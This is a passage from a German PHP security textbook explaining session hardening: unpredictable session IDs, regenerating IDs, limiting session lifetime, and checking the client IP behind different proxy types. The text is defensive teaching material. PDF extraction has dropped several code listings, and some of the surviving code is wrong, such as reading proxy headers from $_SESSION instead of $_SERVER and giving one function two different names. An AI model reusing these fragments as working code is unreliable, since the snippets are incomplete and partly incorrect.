Session ein, so hat dies auch wieder Auswirkungen auf die Sicherheit der Webanwendung. Ein restriktives Session-Management sollte also folgende Funktionen implementieren und garantieren: 쐽
Sichere Session-IDs, die nicht vorhersagbar sind
쐽
Session-Start nur, wenn Daten dies rechtfertigen
쐽
Regelmäßige Neuvergabe der ID, Neuvergabe bei kritischen Operationen
Diese Funktionalität darf dabei nicht nur auf Einstiegsseiten gewährleistet sein, sondern muss über alle Seiten, die in irgendeiner Weise von Sessions Gebrauch machen, sichergestellt sein, damit ein Angreifer nicht durch den Einstieg – also den direkten Aufruf – einer untergeordneten Seite Rechte erlangen kann, die ihm nicht zustehen. Am besten dafür geeignet ist entweder eine Sammlung von Funktionen oder gar eine Klasse, in der das Session-Management implementiert wird. Da PHP selbst keine Möglichkeiten bietet, ein restriktiveres System zu aktivieren, muss es auf jeden Fall selbst integriert werden. Im Allgemeinen sollten die Funktionen dabei in jede Seite integriert werden. Wird PHP als Modul unter dem Apache-Webserver betrieben und alle relevanten Seiten, die von Sessions Gebrauch machen sollen, befinden sich unterhalb eines bestimmten Verzeichnisses, so können diese Tests und Aufrufe auch automatisiert werden, ohne dass Änderungen an den einzelnen Skripten notwendig sind (so besteht auch
142
5.2 Strikte Erzeugung
nicht die Gefahr, dass die Aufrufe vergessen werden und somit eine Sicherheitslücke entstehen würde). Dafür muss die .htaccess-Funktionalität und die PHPDirektive auto_prepend_file benutzt werden. Befindet sich die Session-Klasse innerhalb der Datei inc/sessionmanagement.php, so kann diese über .htaccess in jedes aufgerufene PHP-Skript inkludiert werden: php_value auto_prepend_file inc/sessionmanagement.php
Die Datei wird dabei wie bei einem require() oder include() geladen, sie wird jedoch vor allen anderen Anweisungen des aktuellen Skripts in den Code übernommen und, sofern direkte Aufrufe darin enthalten sind, werden diese ausgeführt. Damit also eine Verwaltung der Sessions möglich ist, sollten die notwendigen Funktionen innerhalb dieses Skriptes auch aufgerufen werden. Sichere Session-IDs Um eine Grundsicherheit der zwischengespeicherten Daten zu gewährleisten, ist es unabdingbar, dass sichere Session-IDs verwendet werden. Dabei muss sowohl die Erzeugung solche Identifikatoren bereitstellen als auch geprüft werden, ob die ID der aktuellen Sitzung den vorgegebenen Kriterien genügt.
Die IDs sollten nach Möglichkeit aus den Zeichen A-Z (Groß- und Kleinschreibung) sowie den Ziffern 0-9 bestehen. Noch besser wäre es freilich, wenn eine solche ID ähnlich wie bei als sicher geltenden Passwörtern auch Sonderzeichen enthalten würde. Allerdings kann der von PHP verwendete Dateispeichermechanismus nicht mit diesen Sonderzeichen umgehen und somit solche Sessions serverseitig nicht speichern; wird allerdings ein eigener Save-Handler (siehe Abschnitt 5.5 Speicherung auf Seite 165) verwendet, der mit allen druckbaren Zeichen umgehen kann, sollten nach Möglichkeit auch Sonderzeichen verwendet werden. Doch bereits die Unterscheidung von Groß- und Kleinschreibung macht auf manchen Betriebssystemen Probleme: Unter Linux handelt es sich bei den Session-IDs 123456789ABC und 123456789abc um zwei verschiedene Sitzungen, unter Windows führt dies zur selben Session – zumindest, solange die Sessions über das Dateisystem gespeichert werden, da es unter Windows keine Unterscheidung zwischen Groß- und Kleinschreibung bei Dateinamen gibt. Dies hat natürlich Auswirkungen: Die theoretische Gefahr, dass eine Session-ID erraten werden kann steigt beträchtlich. Stehen insgesamt 62 mögliche Zeichen (26 Großbuchstaben, 26 Kleinbuchstaben, 10 Ziffern) zur Verfügung, so gibt es bei 8 Zeichen eine Chance von 1 : 218.340.105.584.896, bei lediglich 36 Möglichkeiten (26 Buchstaben und 10 Ziffern) steht die Chance jedoch bereits bei 1 : 2.821.109.907.455. Die Chance auf einen Zufallstreffer ist sicherlich immer noch sehr gering, doch ist sie um den Faktor 100 gestiegen – und ein Zufallstreffer kann schließlich auch schon beim ersten Rateversuch eines Angreifers erzielt werden.
143
Kapitel 5 Sessions
Weiterhin sollte eine ID aus mindestens 32 Zeichen bestehen, um die Erratbarkeit eines solchen Identifikators zu minimieren. Man kann dafür einen Hash-Algorithmus wie z.B. MD5 verwenden; md5() erzeugt zwar einen Wert, der 32 Zeichen lang ist, jedoch stellt dieser Wert nur eine hexadezimale Zahl dar, der String besteht also lediglich aus den Buchstaben A-F und den Ziffern 0-9. Da dies jedoch das Spektrum der möglichen Identifikatoren wieder einschränkt, sollte bei kritischen Anwendungen auf eine solche Hash-Funktion verzichtet werden und stattdessen über eigene Routinen die Länge einer ID sichergestellt werden. Allerdings lässt sich das Verhalten von PHP seit Version 5.0 über zwei Konfigurationseinstellungen wesentlich beeinflussen. session.hash_function und session.hash_bits_per_character sind mit PHP 5.0 dazugekommen. Mit session.hash_bits_per_character kann der Zeichenvorrat für die ID definiert werden: Der Standardwert 4 führt zu einer hexadezimalen Zahl (0-9, a-f), 5 erlaubt die Zeichen 0-9 und a-v, 6 schließlich erweitert den Bereich auf 0-9, A-Z, a-z sowie »–« und »,«.
Wichtig Der Wert 6 für die Option session.hash_bits_per_character sollte nicht in Verbindung mit der dateibasierten Speicherung der Session-Daten verwendet werden, da es bei der Speicherung auf nicht-case-sensitiven Dateisystemen zu Problemen kommen kann (wird die Groß- und Kleinschreibung nicht unterschieden, würde die Session ABC die bereits bestehende Session abc auf dem Dateisystem überschreiben – obwohl es sich für PHP um zwei verschiedene Sitzungen handelt). Für diesen Modus der Session-ID-Vergabe empfiehlt sich auf solchen Systemen der Session-Save-Handler mm (siehe auch Abschnitt 5.5.2 mm auf Seite 167) oder ein selbst geschriebener, der etwa auf Dateibasis arbeitet. Doch die Vielfalt der Zeichen ist noch nicht das ausschlaggebende Maß für die Sicherheit der Session: Es muss auch garantiert sein, dass jeder Aufruf eine andere ID erzeugt, diese ID sich wesentlich von einer direkt vorhergehenden unterscheidet und vor allem, dass nicht zwei Aufrufe (und somit in der Praxis zwei Clients bzw. zwei Benutzer) die gleiche ID erhalten. Seit PHP 5 bietet die Sprache selbst in Verbindung mit dem Wert 6 für die Erzeugung von Session-IDs bereits sehr gute Möglichkeiten (beachten Sie dazu allerdings auch den vorhergehenden Hinweis!). Wird die dateibasierte Speicherung der Session-Daten verwendet, sollten jedoch alle erzeugten IDs, die die Sonderzeichen »,« und »-« beinhalten, verworfen werden. Wird die Erzeugung in einer eigenen Routine umgesetzt, sollte bedacht werden, dass neben der aktuellen Zeit in Mikrosekunden auch ein oder mehrere Zufallswerte in den Identifikator einfließen sollten, um die Berechenbarkeit der ID und die Vergabe einer gleichen ID an mehrere Clients zu verhindern.
144
5.2 Strikte Erzeugung
Eine Funktion, die die PHP-Algorithmen nutzt und dabei lediglich die ungeeigneten Werte filtert, kann etwa so aussehen: function generateNewSessionID() { $id = ""; do { session_regenerate_id(true); } while (strpos(session_id(),",") !== false || strpos(session_id(),"-") !== false); }
Handelt es sich um eine Webanwendung, bei der durch andere Bedingungen sehr oft eine neue Session-ID benötigt wird, ist dieses Vorgehen allerdings sehr ineffizient, da bei jedem session_regenerate_id() eine neue ID erzeugt, alle innerhalb der Session vorhandenen Daten kopiert und schließlich die alte Sitzung gelöscht wird. Würde session_regenerate_id() ohne Parameter aufgerufen, werden die Daten lediglich in eine neue Session kopiert und die »alte« Sitzung bliebe weiterhin bestehen. Es gibt keine Möglichkeit, lediglich eine neue ID unter Nutzung der PHP-internen Funktionen zu erzeugen und diese in einer Variablen zu speichern, weshalb es bei einer Anwendung, die sehr oft neue IDs erzeugen muss und dabei allerdings nicht ständig Sessions erzeugen, mit Daten versehen und schließlich wieder verwerfen soll, eigene Routinen zur Erzeugung von zufälligen, einmaligen IDs bereitstellen muss. Keinesfalls sollte in einem solchen Fall auf eine generierte Liste von Identifikatoren zurückgegriffen werden, die beispielsweise in einer Textdatei oder einer Datenbank gespeichert werden. Theoretisch wäre es zwar möglich, mit einem einzelnen Tool eine Vielzahl solcher IDs zu erzeugen und diese zu speichern, welche dann vom Session-Management jeweils aus dieser Datei entnommen und als verwendet markiert werden (um die doppelte Verwendung zu verhindern). Praktisch scheitert es allerdings gleich an mehreren Problemen: 쐽
Parallelität: Wenn zwei Clients gleichzeitig eine Session-ID anfordern, kann auch ein gleichzeitiger Zugriff auf das Medium mit den gespeicherten, vorberechneten IDs erfolgen. Dies kann dazu führen, dass die gleiche Session für zwei unterschiedliche Benutzer verwendet wird. Es ist zwar möglich, Dateien oder Datenbanken für die Dauer eines Zugriffs zu sperren – ein Client kann also die aktuelle ID auslesen und sie als verwendet markieren – doch kann dies wieder Auswirkungen auf die Effizienz haben, da wartende Clients oder vielmehr deren Anfragen auf der Serverseite solange blockiert sind, bis sie eine Session-ID erhalten, also die jeweilige Sperre aufgehoben wurde.
145
Kapitel 5 Sessions 쐽
Geschwindigkeit: Werden die Daten innerhalb einer Textdatei gespeichert, ist der Zugriff darauf vergleichsweise langsam. Bereits das Öffnen der Datei nimmt einige Zeit in Anspruch. Werden die alten Identifikatoren lediglich als verwendet markiert und nicht gelöscht, muss innerhalb der Datei erst eine unverbrauchte ID gesucht werden. Danach muss zur Markierung ein Schreibzugriff erfolgen, der ebenfalls einiges an Zeit in Anspruch nimmt; sollen die bereits genutzten IDs aus der Datenquelle gelöscht werden, erfolgt zwar der Lesezugriff um einiges schneller (es kann immer der erste Eintrag verwendet werden), jedoch nimmt das Speichern längere Zeit in Anspruch, da das Entfernen von Daten zu Beginn der Datei dafür sorgt, dass die gesamte Datei erneut geschrieben werden muss. Auch wenn die Daten in einer Datenbank vorliegen, kann dies einige Zeit in Anspruch nehmen, vor allem wenn diese auf einem anderen System gespeichert sind. Doch bei einer Datenbank kommt erschwerend hinzu, dass die Zugriffe, die in einem bestimmten Zeitraum erfolgen dürfen, möglicherweise limitiert oder gar in ihrer Geschwindigkeit gedrosselt werden.
쐽
Menge: Wesentliches Augenmerk bei einer Benutzung eines Systems, das Session-Identifikatoren im Voraus erzeugt, ist auf die Menge der IDs zu legen – und somit auf die Frage, was wohl passiert, falls diese Datensätze »aufgebraucht« sind. Zum Einen müssen sehr viele IDs erzeugt werden, damit die Webanwendung eine definierte Zeit ohne Beeinträchtigung funktionieren kann und zum Anderen muss ein Warnsystem implementiert werden, dass etwa den Administrator rechtzeitig dazu veranlasst, einen neuen Satz IDs zu erzeugen, damit es nie dazu kommt, dass keine solche Identifikatoren mehr vorhanden sind.
쐽
Sicherheit: Natürlich ist der gravierendste Punkt, der gegen ein solches System spricht, die Sicherheit selbst. Zum Einen ist es natürlich positiv, wenn viele IDs auf einmal erzeugt werden, da dann nicht aus der aktuellen Serverzeit oder anderen aktuellen Werten auf die verwendeten Identifikatoren geschlossen werden kann. Doch es ist auch denkbar, dass genau dies zutrifft: Hat – aus welchen Gründen auch immer – zur Zeit der Generierung der Zufallsgenerator des jeweiligen Systems vorhersagbare Werte erzeugt, lässt sich dies aller Wahrscheinlichkeit nach an den zurückgelieferten IDs ablesen. Ein Angreifer würde dies recht schnell erkennen, da er vermutlich sowieso versuchsweise einige Sessions startet, um zu testen, ob der Generierungsalgorithmus nachvollziehbar ist. Es stellt sich dann auch die Frage, auf welchem System das Skript oder das Tool liegt, das die Daten erzeugt; wird dieses System geknackt und gelangt ein Dritter somit in den Besitz dieser Software, kann er möglicherweise auf aktuelle Identifikatoren schließen und somit relativ einfach aktuell durch legitime Benutzer verwendete Sitzungen entführen und für seine Zwecke verwenden.
146
5.2 Strikte Erzeugung
Das gleiche Problem tritt auf, sobald ein Angreifer Zugang zum Speichermedium erhält – dort ist die ungewollte Nutzung sogar noch viel wahrscheinlicher, denn mit der Software konnte der Angreifer nur die Identifikatoren vermuten, bringt er die Datenquelle in seinen Besitz, so kann er die Daten mit Gewissheit feststellen. Session-Start nur mit Daten Es ist in einigen Webanwendungen üblich, auf gut Glück immer dann eine Session zu erzeugen, wenn der aktuellen Anfrage noch keine Sitzung zugeordnet wurde. Bei Benutzern, die lediglich die jeweilige Webseite ansehen, ohne sich jemals einzuloggen oder von anderen Funktionen Gebrauch zu machen, die Daten innerhalb der Session ablegen, hat dies vor allem zur Folge, dass Session-Dateien mit Null Byte Dateigröße angelegt werden. Dies kann – eine gewisse Menge vorausgesetzt – dramatische Folgen für das lokale Dateisystem haben (siehe Abschnitt Dateispeicherung auf Seite 137).
Schon deshalb sollte weder session.auto_start innerhalb der php.ini aktiviert, noch pauschal innerhalb jedes PHP-Skripts session_start() aufgerufen werden. Dieses Vorgehen stellt den Entwickler allerdings vor gewisse Probleme: Die wesentlich sicherere Variante der Übertragung der Session-ID erfolgt mit aktivierten Cookies (so wird verhindert, dass die Session-ID etwa in Lesezeichen mitgespeichert oder gar von Suchmaschinen referenziert wird; allerdings kann das Cookie durch einen Angreifer möglicherweise ausgelesen werden!), diese Technik verlangt jedoch, dass session_start() aufgerufen wird, bevor jegliche Ausgabe erfolgt ist. Dies wiederum bedeutet, dass man bereits zu Beginn eines Skriptes wissen muss, dass eine Session notwendig ist und Daten in ihr abgelegt werden. Jedoch kann es gerade auf solchen Seiten auch sein, dass theoretisch eine Session benötigt würde, jedoch praktische Bedingungen nicht erfüllt sind. Das beste Beispiel dafür ist eine Login-Seite: Theoretisch benötigt sie eine Session, damit gespeichert werden kann, welcher Benutzer sich erfolgreich eingeloggt hat. Sind jedoch die vom Benutzer übermittelten Daten falsch (also Benutzer und/oder Passwort), so werden keine Daten abgelegt und eine Session ist nicht notwendig – in diesem Fall würde durch das bereits übermittelte session_start() eine leere Session-Datei auf dem Server abgelegt. Für dieses Dilemma gibt es zwei Möglichkeiten, die der PHP-Programmierer verwenden kann. Entweder er trennt das Design (die HTML-Ausgabe) sehr stark vom eigentlichen Programmcode ab oder aber er zerstört zum Skriptende einfach eine leere Session. Die Trennung von Code und Design ist zwar ein Paradigma (ein sehr empfehlenswertes obendrein), das stets umgesetzt werden sollte, jedoch lässt sich dies nicht immer realisieren, ohne entweder Einbußen an Komfort oder Geschwindigkeit hinzunehmen. Um Sessions abzusichern ist es allerdings recht positiv zu bewerten: Wird erst der PHP-Code ausgeführt, der lediglich Ersetzungen innerhalb von Templates vornimmt, um errechnete oder ermittelte Werte in eine spätere Ausgabe dieses Templates zu platzieren, so lassen sich vor der Ausgabe die Parameter
147
Kapitel 5 Sessions
prüfen und somit kann auch entschieden werden, ob eine Session notwendig ist oder nicht. Ist eine strikte Trennung nicht möglich oder einfach zu aufwändig, muss die Session zum Ende des Skriptes gelöscht werden, sofern sie keine Daten enthält. Dies kann relativ einfach mit count($_SESSION) geprüft werden: Ist das Ergebnis Null, so wurden keine Daten innerhalb der Sitzung abgelegt und die Session kann zerstört werden. Die Funktion zum Zerstören einer Session session_destroy() hat allerdings einen kleinen Haken: Es werden alle Daten auf Serverseite, die zu dieser Session gehören, gelöscht, das Cookie auf dem Client bleibt allerdings erhalten (sofern es nicht später durch den Browser gelöscht wird). Dies kann beim erneuten Aufruf der Webseite durch den Benutzer – eine entsprechende Implementierung des SessionManagements auf Serverseite vorausgesetzt – zu einer Fehlermeldung führen, dass die angegebene Sitzung ungültig ist. Diese Meldung ist nicht weiter dramatisch, kann einen Benutzer jedoch irritieren. Besser ist es natürlich, wenn auch das Cookie gelöscht, und somit auch keine ungültige Session mehr aufgerufen wird. Folgender Code (der auf einem Beispiel innerhalb der PHP-Dokumentation basiert, zu finden unter http://de.php.net/manual/de/function.sessiondestroy.php) löscht eine Session inklusive Cookie, sofern sie keine Daten enthält:
Allerdings erfordert dieses Skript auch, dass es ausgeführt wird, bevor irgendeine Ausgabe zum Client übermittelt wurde. Damit diese Funktionalität dennoch ausgeführt werden kann, nachdem eine Ausgabe durch das Skript erzeugt wurde, muss mit der Ausgabepufferung von PHP gearbeitet werden. Zu Beginn eines Skriptes wäre es somit notwendig, ob_start() aufzurufen, damit die Ausgabe nicht an den Client gesendet, sondern zuerst auf dem Server zwischengespeichert wird. War die Ausführung des Skriptes erfolgreich und die Session enthält aktive Daten, so kann der Ausgabepuffer mit ob_end_flush() an den Client übertragen werden.
148
5.2 Strikte Erzeugung
Hat sich jedoch ergeben, dass die Session keine Daten enthält und zerstört werden sollte, so kann der Ausgabepuffer mit ob_end_clean() geleert werden. Nun kann die Session inklusive Cookie zerstört werden. Anschließend kann die eigentliche Ausgabe (beispielsweise eine Fehlermeldung für den Benutzer) erfolgen. Im Beispiel wird lediglich auf das Hauptverzeichnis der aktuellen Webseite und somit in den meisten Konfigurationen auf die Index-Seite umgeleitet (dieser Location-Header ist nur beispielhaft und auch etwas unsicher, da nicht jeder Client mit relativen Pfadangaben umgehen kann). Der Aufruf von ob_start() lässt sich natürlich auch über ein Skript via auto_prepend_file in einer .htaccess-Datei oder der php.ini-Konfiguration automatisch ausführen. Wird ob_start() aufgerufen, bevor session_start() genutzt wird, würde theoretisch auch noch kein Session-Cookie an den Client übermittelt (auch HTTP-Header werden gepuffert) und somit wäre ein Löschen eines solchen Cookies nicht notwendig, jedoch sollte man sich darauf nicht verlassen; zudem sollten auch Sessions gelöscht werden, die auf Client-Seite bereits bestehen, da sie zu einem früheren Zeitpunkt gültig waren und nun gelöscht werden sollen. Das Rücksetzen des Puffers bei einer ungültigen Sitzung und das Löschen aller damit verbundenen Daten lässt sich ähnlich wie die Initiierung ebenfalls mit .htaccess oder der PHP-Konfiguration durch die Direktive auto_append_file automatisieren. Die Anweisung zur nachträglichen Inkludierung einer SkriptDatei innerhalb einer .htaccess-Datei sieht dann etwa so aus: php_value auto_append_file sessionQuitTest.php
Somit wird dieses Skript an den Code jeder aufgerufenen PHP-Datei angehängt und entsprechend ausgeführt. »Session-Start nur mit Daten« sollte allerdings auch zu einer ganz anders gearteten Annahme führen: Eine Session sollte, sofern sie noch nicht existiert und nun gestartet werden soll, stets mit einer sicheren ID initiiert werden. Dafür ist es nach einem session_start() einer bisher nicht existenten Sitzung notwendig, eine neue Session-ID zu erzeugen, da session_start() auch eine Session-ID verwenden würde, die als GET-, POST- oder Cookie-Parameter eingeliefert wird. Dies lässt sich auch keinesfalls verhindern, da dies der einzige Weg ist, über den eine aktive Session auf dem Server reaktiviert und für eine Anfrage genutzt werden kann: Die Session-ID muss durch den Client an den Server übertragen und von session_start() verwendet werden. Um also bei einer neuen Session sicherzustellen, dass ein sicherer Identifikator benutzt wird und keine simple, leicht zu erratende ID durch den Client festgelegt wird, ist in Verbindung mit der Funktion generateNewSessionID() (siehe Abschnitt Sichere Session-IDs auf Seite 143) folgende Aufrufsequenz notwendig:
149
Kapitel 5 Sessions
Regelmäßige Neuvergabe Je länger eine Session durch einen Benutzer mit der gleichen ID benutzt wird, desto größer ist das Risiko, dass ein Angreifer diese ID in Erfahrung bringt und somit die Session für sich benutzen kann. Dies liegt natürlich nicht nur daran, dass ein Angreifer mit zunehmender Zeit immer mehr Identifikatoren auf dem Server durch schlichten Aufruf auf Daten testen kann, sondern auch daran, dass er möglicherweise in dieser Zeit erfolgreich eine Man-in-themiddle-Attacke erfolgreich abschließen konnte und durch das Belauschen des Datenverkehrs zwischen Benutzer und Server unter anderem die Session-ID in Erfahrung bringen konnte.
Allerdings führt eine ständige Verwendung der gleichen ID auch für die Benutzer zu Problemen: Hat der Benutzer einen Zahlungsvorgang gerade abgeschlossen und verwendet er daraufhin unbedacht den Zurück-Button seines Browsers, wird unter Umständen der Zahlungsvorgang noch einmal ausgeführt. Dies sollte normalerweise durch die Webanwendung abgefangen werden, da eine Bestellung innerhalb eines Online-Shops nur einmal bezahlt werden muss; jedoch nicht immer lässt sich dies so einwandfrei erkennen: Besitzt der Benutzer etwa ein Guthabenkonto für ein bestimmtes System, kann es durchaus in der Absicht des Benutzers liegen, dass er in kurzen Abständen zwei Einzahlungen per Kreditkarte auf dieses Konto vornimmt. Damit dennoch eine Doppelbuchung des gleichen Vorgangs verhindert wird, ist es notwendig, dass die Session-ID verändert und die alte Session gelöscht wird, wodurch jeder Aufruf für diese Session ungültig ist und zu einem Fehler führt. Die Session-ID sollte also bei jedem kritischen Aufruf, der keinesfalls ein zweites Mal versehentlich durchgeführt werden soll, verändert werden. Zudem sollte nach einer festgelegten Zeit – etwa 30 Minuten – die Session ebenso einen anderen Identifikator erhalten. Für Letzteres muss die Zeit der Erstellung der aktuellen ID natürlich innerhalb der Session gespeichert werden, da sich nur auf diesem Wege feststellen lässt, wie lange die aktuelle ID bereits in Verwendung ist. Bei der Neuerzeugung sollte die PHP-interne Funktion session_regenerate_id() mit dem Parameterwert true verwendet werden, damit eine neue ID vergeben wird, die Daten übernommen werden und auch garantiert ist, dass die alte Session keine Daten mehr enthält. Wird ein eigener Mechanismus für die Erzeugung eines Identifikators verwendet, muss natürlich die eigene Funktion verwendet werden. Erfolgt die Zwischenspeicherung der Sitzungen auf dem Server dateibasiert, müssen die Session-IDs entsprechend gefiltert werden, ein Beispiel
150
5.3 Gültigkeit
hierfür ist die Funktion getNewSessionID() (siehe Abschnitt Sichere Session-IDs auf Seite 143).
5.3
Gültigkeit
Jeder Session sollte eine Gültigkeit zugewiesen werden. Jedoch ist es eine Gretchen-Frage, bei welcher Zeitspanne die Grenze liegt. Die Antwort hängt stark von der Webanwendung ab: Wie sind die Erwartungen der Benutzer und vor allem, wie fatal wäre es, wenn ein Dritter in den Besitz einer gültigen Session-ID gelangt? Bei der Entscheidung, wie lang nach dem letzten Zugriff eine Session noch gespeichert werden soll, um sie durch eine spätere Anfrage wieder reaktivieren zu können, müssen natürlich auch andere Maßnahmen, die in Folge einer SessionVerwaltung getroffen wurden, berücksichtigt werden. Wird beispielsweise innerhalb einer Session gespeichert, welchem Client bzw. welcher IP-Adresse diese Sitzung zugeordnet ist (siehe Abschnitt 5.4 Session-Umgebung sichern auf Seite 154), können diese Sessions wesentlich länger vorgehalten werden, als Sitzungen, die von jedem Benutzer ohne weitere Validitätsprüfungen angefragt werden können. PHP selbst kann bereits die Verwaltung der Gültigkeitsdauer von Sitzungen übernehmen und wird Sessions, die veraltet sind, automatisch löschen, sobald ein Skript wieder Gebrauch vom Session-Management macht. Diese Methodik stuft eine Session als veraltet ein, sobald die letzte Speicherung der Session älter ist als die in der Konfigurationsdirektive session.gc_maxlifetime angegebene Zeitspanne (Angabe in Sekunden). Der Standardwert liegt bei 1440, also 24 Minuten. Eine Speicherung einer Session erfolgt immer dann, wenn ein Skript, das Sessions verwendet, verlassen wird, oder alternativ session_write_close() bzw. session_commit() aufgerufen wird. Im Allgemeinen ist der Standardwert ein guter Ansatzpunkt, jedoch kann es Webanwendungen geben, bei denen sowohl ein geringerer als auch ein wesentlich höherer Wert gerechtfertigt sein kann. Gibt es auf der Webseite beispielsweise Dokumente, die nur von eingeloggten Benutzern eingesehen werden sollen, so kann das Lesen dieser Informationen durchaus eine große Zeitspanne in Anspruch nehmen und es wäre äußerst ungünstig, wenn der Benutzer sich danach erneut in die Webanwendung einloggen muss. Andererseits kann es bei einigen Webanwendungen auch sinnvoll sein, kürzere Aktivitätsintervalle von beispielsweise 15 Minuten zu verwenden. Auch das Modell, mit dem die Gültigkeit einer Sitzung festgestellt wird, ist nicht für jeden Fall das beste: Möchte man etwa Sessions vergeben, die in Summe nur 60 Minuten gültig sind, ist PHP selbst kontraproduktiv, da jede Aktion innerhalb der Session, selbst wenn sie nur geladen wird, die Gültigkeit wieder um die Zeit, die über session.gc_maxlifetime definiert wurde, verlängert.
151
Kapitel 5 Sessions
Um dennoch diese Funktionalität zu realisieren, wäre es möglich, etwa mit filemtime() den Zeitpunkt der letzten Veränderung der Session-Datei zu ermitteln, doch müsste bei einer open_basedir-Konfiguration somit das Verzeichnis, in das PHP die Session-Dateien ablegt, inkludiert werden, was durchaus auch wieder neue Gefahren in Bezug auf die Sicherheit der Webanwendung zur Folge hat. Allerdings gibt es keine Möglichkeit, den Erstellungszeitpunkt einer Datei festzustellen (die meisten Unix-Dateisystme unterstützen diese Form der Verfolgung nicht) – somit ist es unmöglich, anhand einer Datei Sessions in ihrer gesamten Existenzdauer zu begrenzen. Weiterhin wäre dieses Modell nutzlos, sobald die Speicherart der Sessions auf dem Server etwa zu einer datenbankbasierten Speicherung geändert würde. Deshalb ist es die beste Möglichkeit, die jeweiligen Zeitstempel innerhalb der Session zu speichern und diese Daten nach dem session_start() zu prüfen. Gilt eine Sitzung dann als veraltet, sollte sie mit session_destroy() zerstört werden. Erfolgt die Prüfung auf Gültigkeit direkt nach einem session_start(), kann die Zerstörung natürlich ohne Bedenken erfolgen, da session_start() auch nur dann funktioniert, wenn noch keine Ausgabe zum Client übermittelt wurde. Allerdings muss bei jedem Schreibzugriff auf das $_SESSION-Array bei einer Überwachung auf die letzte Änderung dieser Zeitstempel aktualisiert werden, da es keine Möglichkeit gibt, eine Event-Handling-Funktion bei einer Änderung des Arrays automatisiert aufzurufen. Es empfiehlt sich also, alle Zugriffe auf das $_SESSION-Array durch eine Funktion zu leiten, die die Daten ändert und den Zeitstempel ebenso aktualisiert. Der Einfachheit und Übersichtlichkeit halber sollten auch alle Lese- und Löschzugriffe über eine Funktion durchgeführt werden. Die bestehende sessionmanagement.php kann also wie folgt erweitert werden: 0) return; generateNewSessionID(); $_SESSION["timestamps"] = array(); $_SESSION["timestamps"]["start"] = time(); $_SESSION["timestamps"]["modification"] = time(); }
Diese Funktionen verändern die Modifikationszeit innerhalb der Session auch nur dann, wenn wirklich eine Änderung erfolgt und nicht etwa nur der gleiche Wert innerhalb einer Session-Variablen neu gesetzt wird; checkSessionStillValid() unterstützt hierbei sowohl die Prüfung auf Basis der Modifikations- als auch der
153
Kapitel 5 Sessions
Startzeit. Als Zeitspanne wird der Wert, der in der Konfigurationsdirektiven session.gc_maxlifetime gespeichert ist, verwendet.
5.4
Session-Umgebung sichern
5.4.1
Clientüberprüfung
Dem Client muss auch eine Möglichkeit gegeben werden, die aktuelle Sitzung bei einem späteren Aufruf wieder zu nutzen. Hierfür wird der Server dem Client eine Session-ID mitteilen, die später entweder aus einem Cookie gelesen oder direkt als GET- oder POST-Parameter an den Server übertragen werden. Dieser Schlüssel wird – sofern nicht die Verbindung selbst verschlüsselt ist – im Klartext übertragen. Die meisten Systeme – PHP gehört in diese Klasse – sichern die Wiederaufnahme der Sitzung zusätzlich auch in keinster Weise ab (dies spricht nicht gerade für einen Einsatz in hochkritischen Anwendungen); wer also im Besitz der ID einer aktiven oder vielmehr noch auf dem Server vorhandenen Sitzung ist, kann diese auch benutzen. Ein Angreifer muss dazu nicht einmal einen Weg finden, sich in die Kommunikation zwischen Client und Server zwischenzuschalten, es genügt ihm, wenn er die Session-ID allein über den Client in Erfahrung bringt (in Frage kommt hier etwa Social Engineering oder aber etwa ein Trojaner, der Cookies des Browsers ausspioniert). Für eine sichere Webanwendung müssen also auch in Verbindung mit Sessions Risiken berücksichtigt werden, die durch Clients entstehen können. Der erste Schritt ist somit, Sessions nur durch den Benutzer reaktivieren zu lassen, der sie eröffnet hat. Die sicherste Datenbasis dafür scheint die IP-Adresse des Clients zu sein; dadurch wird es für den Benutzer unmöglich, eine Session auch über eine Neueinwahl hinaus zu verwenden, doch ist dies inzwischen eine weit verbreitete Praxis. Dies erfordert allerdings, dass diese Information innerhalb der Session gespeichert wird; die IP-Adresse kann meist aus der Variablen $_SERVER["REMOTE_ADDR"] gewonnen werden, vorausgesetzt der Webserver stellt diese Information bereit. Besonders bei der Verwendung von PHP als CGI- und nicht als eingebettetes Webserver-Modul ist es nicht garantiert, dass die IP-Adresse zur Verfügung steht. Doch auch wenn diese Variable belegt wird, kann ein Client bei der Verwendung eines Proxys immer noch eine falsche Adresse vortäuschen; würde in einem solchen Fall ein Dritter den gleichen Proxy verwenden, kann er die Session trotz Quellenprüfung verwenden. Jedoch hängt es stark von der Proxy-Art ab, ob sich erkennen lässt, dass der Aufruf über ein drittes System geleitet wird: 쐽
154
Transparenter Proxy: Dieser Proxytyp wird vor allem in Unternehmen eingesetzt; er soll lediglich den Internetzugang für Benutzer ermöglichen, bei denen
5.4 Session-Umgebung sichern
die Systeme streng vom Internet getrennt sein sollen. Alternativ wird dieser Proxy eingesetzt, um oft aufgerufene Seiten zu cachen. Ein solches System lässt sich anhand folgender Daten erkennen: 쐽 $_SESSION["HTTP_VIA"] ist gesetzt und enthält die IP des Proxy-Servers 쐽 $_SESSION["REMOTE_ADDR"] enthält ebenfalls die IP des Proxy-Servers 쐽 $_SESSION["HTTP_X_FORWARDED_FOR"]
ist gesetzt und entspricht der IP-
Adresse des anfragenden Clients 쐽
Anonymer Proxy: Dieser Proxy bietet Caching-Möglichkeiten und soll die Identität des eigentlich anfragenden Clients verschleiern; im Gegensatz zum hochanonymen Proxy ist allerdings erkennbar, dass die Anfragen durch einen Vermittler geleitet werden. 쐽 $_SESSION["HTTP_VIA"]
ist gesetzt und enthält die IP des Proxy-Servers
쐽 $_SESSION["REMOTE_ADDR"]
enthält ebenfalls die IP des Proxy-Servers
ist gesetzt und entspricht entweder der Proxy-IP oder einer zufällig generierten IP
쐽 $_SESSION["HTTP_X_FORWARDED_FOR"]
쐽
Hochanonymer Proxy: Dieses System soll die Identität des Anwenders verschleiern und wird dabei auch nach außen den Eindruck vermitteln, als ob kein Proxy eingesetzt würde. Die Informationen sind also mit denen eines direkten Zugriffs identisch: 쐽 $_SESSION["HTTP_VIA"]
ist nicht gesetzt
쐽 $_SESSION["REMOTE_ADDR"]
enthält die IP des Proxy-Servers
쐽 $_SESSION["HTTP_X_FORWARDED_FOR"]
ist nicht gesetzt
